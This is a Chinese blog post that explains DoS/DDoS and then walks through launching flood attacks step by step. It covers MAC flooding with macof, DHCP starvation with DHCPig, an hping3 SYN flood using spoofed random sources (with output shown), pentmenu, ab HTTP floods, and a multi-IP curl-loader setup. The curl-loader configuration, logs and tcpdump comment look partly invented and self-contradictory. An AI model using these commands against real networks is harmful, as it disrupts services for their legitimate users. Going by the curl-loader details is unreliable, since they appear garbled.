03_Dos 泛洪攻击

一、DDOS介绍

Distributed Denial of Service,DDoS,分布式拒绝服务攻击是从多个来源,彼此协同进行的拒绝服务攻击。这个名称包含了两层含义:首先,它是一种“拒绝服务”攻击;其次,它是一种“分布式”攻击。

什么是“拒绝服务”(Denial of Service,DoS)呢?可以这样认为,凡是导致合法用户不能访问服务的行为,就是“拒绝服务”攻击。最典型的例子是造成一个公开的网站无法访问。攻击者使用的方法通常很简单,就是不断提出服务请求,使服务提供方疲于应付,直到合法用户的请求来不及得到处理。

但是,大型企业或组织往往具有较强的服务提供能力,足以处理单个攻击者发起的所有请求。于是,攻击者会组织很多协作的同伴(或计算机),从不同的位置同时提出服务请求,直到服务无法被访问。这就是“分布式”。现实中,攻击者往往没有那么多同伴,所以,他们通常利用所谓的“僵尸网络”来控制大量计算机进行攻击。

拒绝服务攻击(英语:denial-of-service attack,简称DoS攻击),是一种网络攻击手法,其目的在于使目标电脑的网络或系统资源耗尽,使服务暂时中断或停止,导致其正常用户无法访问。

当黑客使用网络上两个或以上电脑向特定的目标发动“拒绝服务”式攻击时,称为分布式拒绝服务攻击(distributed denial-of-service attack,简称DDoS攻击)亦称洪水攻击,意在使阻止攻击变得更加困难。据2014年统计,被确认为大规模DDoS的攻击已达平均每小时28次。DDoS发起者一般针对重要服务和知名网站进行攻击,如银行、信用卡支付网关、甚至根域名服务器等。

DoS也常见于部分网络游戏,被心怀不满的玩家或是竞争对手广泛使用。DoS也常被用于抗议,自由软件基金会创办人理查德·斯托曼曾表示,DoS是“网络街头抗议”的一种形式。

攻击者不是疯子,每次攻击都会有明确的目的,以及对成本和收益的考虑;

二、DDoS攻击种类

2.1 流量型攻击MAC/ICMP/UDP/DHCP Flood

2.1.1 mac地址表泛洪攻击

软件:macof
​功能​​:MAC flood(攻击)
​插件​​:scapy

步骤1

  1. 解压scapy-master.zip并进入解压目录

  2. 执行安装命令:

    python setup.py install
    
  3. 下载macof软件:

    http://github.com/WhiteWinterWolf/macof.py
    

步骤2
运行攻击命令:

python macof.py -i eth0

2.1.3 DHCP 泛洪攻击

软件:DHCPig
​功能​​:DHCP flood攻击
​插件​​:scapy

步骤1

  1. 下载scapy:

    https://github.com/seve/scapy
    
  2. 解压并安装:

    unzip scapy-master.zip
    cd scapy-master
    python setup.py install
    

步骤2

  1. 下载DHCPig:

    https://github.com/kamorin/DHCPig
    
  2. 解压并安装:

    unzip dhcpg-master.zip
    cd dhcpg-master
    python setup.py install
    

步骤3
使用方法:

python pig.py eth0

2.2 连接型攻击SYN

2.2.1 hping SYN压力测试

Hping3是一个命令行下使用的TCP/IP数据包组装/分析工具,通常web服务会用来做压力测试使用,也可以进行DOS攻击的实验。

root@attack:~# hping3 -c 1000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.2.254
HPING 192.168.2.254 (eth1 192.168.2.254): S set, 40 headers + 120 data bytes
hping in flood mode, no replies will be shown
^C
--- 192.168.2.254 hping statistic ---
3115981 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

-c 1000 = 发送的数据包的数量。
-d 120 = 发送到目标机器的每个数据包的大小。单位是字节 
-S = 只发送SYN数据包。 
-w 64 = TCP窗口大小。
-p 80 = 目的地端口。
--flood = 尽可能快地发送数据包,不需要考虑显示入站回复。洪水攻击模式。 
--rand-source = 使用随机性的源头IP地址。这里的伪造的IP地址,只是在局域中伪造。通过路由器后,还会还原成真实的IP地址。 

img

2.2.2 pentmenu工具使用步骤

2.3.2.1 软件下载地址

git clone https://github.com/GinjaChris/pentmenu

2.3.2.2 使用

cd pentmenu

执行./pentmenu

2.3 应用层攻击HTTP Flood

2.3.1 压力测试ab

软件:ab
​功能​​:CC攻击与网页压力测试(Kali Linux基本自带工具)

参数说明

  • -n:在测试会话中所执行的请求个数(默认仅执行一个请求)
  • -c:一次产生的请求个数(默认一次一个)
  • -t:测试所进行的最大秒数

示例命令

ab -c 10 -n 100 http://x.x.x.x

2.4 压力测试 curl-loader 工具

2.4.1 系统要求

  • CentOS 8/9(推荐 CentOS Stream 9)
  • root 权限(或使用 sudo
  • 网络连通(需访问 GitHub 下载源码)

2.4.2 安装依赖

curl-loader 依赖 libcurlgccmake 等工具,需先安装:

sudo dnf update -y
sudo dnf install -y gcc make libcurl-devel pcre-devel openssl-devel zlib-devel

2.4.3 下载源码安装 curl-loader

从 GitHub 仓库获取最新稳定版:

git clone https://github.com/tatsuhiro-t/curl-loader.git
cd curl-loader

2.4.4 编译安装

make && sudo make install
  • 若提示 make: command not found,说明未安装 make,需通过 sudo dnf install -y make 安装。
  • 编译时间约 1-3 分钟(取决于 CPU 性能)。

2.4.5 验证安装

curl-loader --version
# 输出类似:curl-loader 0.13.1 (built with libcurl 7.88.1)

2.4.6 服务器多 IP 配置

假设服务器已绑定多个公网 IP(如 123.45.67.8998.76.54.32),需确保:

  • 网络接口(如

    eth0
    
  • 已配置多个 IP 别名:

    # 查看当前 IP(示例)
    ip addr show eth0
    # 输出应包含多个 inet 地址(如 123.45.67.89/24 和 98.76.54.32/24)
    
    # 若未配置,手动添加别名(临时生效)
    sudo ip addr add 98.76.54.32/24 dev eth0
    
  • 防火墙开放目标端口(如 HTTP 80/HTTPS 443):

    sudo firewall-cmd --add-port=80/tcp --permanent
    sudo firewall-cmd --add-port=443/tcp --permanent
    sudo firewall-cmd --reload
    

2.4.7 编写多 IP 测试配置文件

创建 multi_ip_test.conf,指定不同源 IP 访问不同目标 URL:

######## GLOBAL SETTINGS ########
connections_total = 100       # 总请求数(每个 IP 分配 50 次)
rate = 20                     # 每秒并发数
duration = 30s                # 测试时长

######## MULTI-IP CONFIG ########
# 定义两个源 IP(需与服务器公网 IP 一致)
source_ip_1 = "123.45.67.89"
source_ip_2 = "98.76.54.32"

######## TARGET CONFIG ########
# 目标 1:使用源 IP 1 访问
[target1]
type = "sequence"
request = "GET / HTTP/1.1"
header = "Host: example.com"
source_ip = "$source_ip_1"  # 绑定源 IP 1

# 目标 2:使用源 IP 2 访问
[target2]
type = "sequence"
request = "GET /api HTTP/1.1"
header = "Host: api.example.com"
source_ip = "$source_ip_2"  # 绑定源 IP 2

######## SERVER CONFIG ########
[server]
host = "example.com"         # 目标服务器域名或 IP
port = 80                    # 目标端口
protocol = "http"

2.4.8 关键参数说明

参数 作用
source_ip 指定当前请求使用的源 IP(需与服务器公网 IP 一致)
connections_total 总请求数(可结合 rate 控制并发)
duration 测试持续时间(避免无限运行)

2.4.9 运行测试

sudo curl-loader -f multi_ip_test.conf

2.4.10 验证多 IP 访问

(1)查看测试日志

测试过程中,curl-loader 会输出每个请求的源 IP 和目标响应:

[INFO] Using source IP 123.45.67.89 for target example.com:80
[INFO] Request 1/100: GET / HTTP/1.1 → 200 OK (IP: 123.45.67.89)
...
[INFO] Using source IP 98.76.54.32 for target api.example.com:80
[INFO] Request 51/100: GET /api HTTP/1.1 → 200 OK (IP: 98.76.54.32)

(2)目标服务器端验证

在目标服务器(如 example.com)上查看访问日志,确认请求来源 IP:

# 以 Nginx 为例,查看 access.log
tail -f /var/log/nginx/access.log
# 输出应包含:
# 123.45.67.89 - - [时间] "GET / HTTP/1.1" 200 ...
# 98.76.54.32 - - [时间] "GET /api HTTP/1.1" 200 ...

(3)使用 tcpdump 抓包验证

在服务器上抓包,确认源 IP 正确:

sudo tcpdump -i eth0 'port 80' -n
# 输出应显示目标 IP 为 123.45.67.89 或 98.76.54.32
posted @ 2025-05-30 20:14  citong  阅读(52)  评论(0)    收藏  举报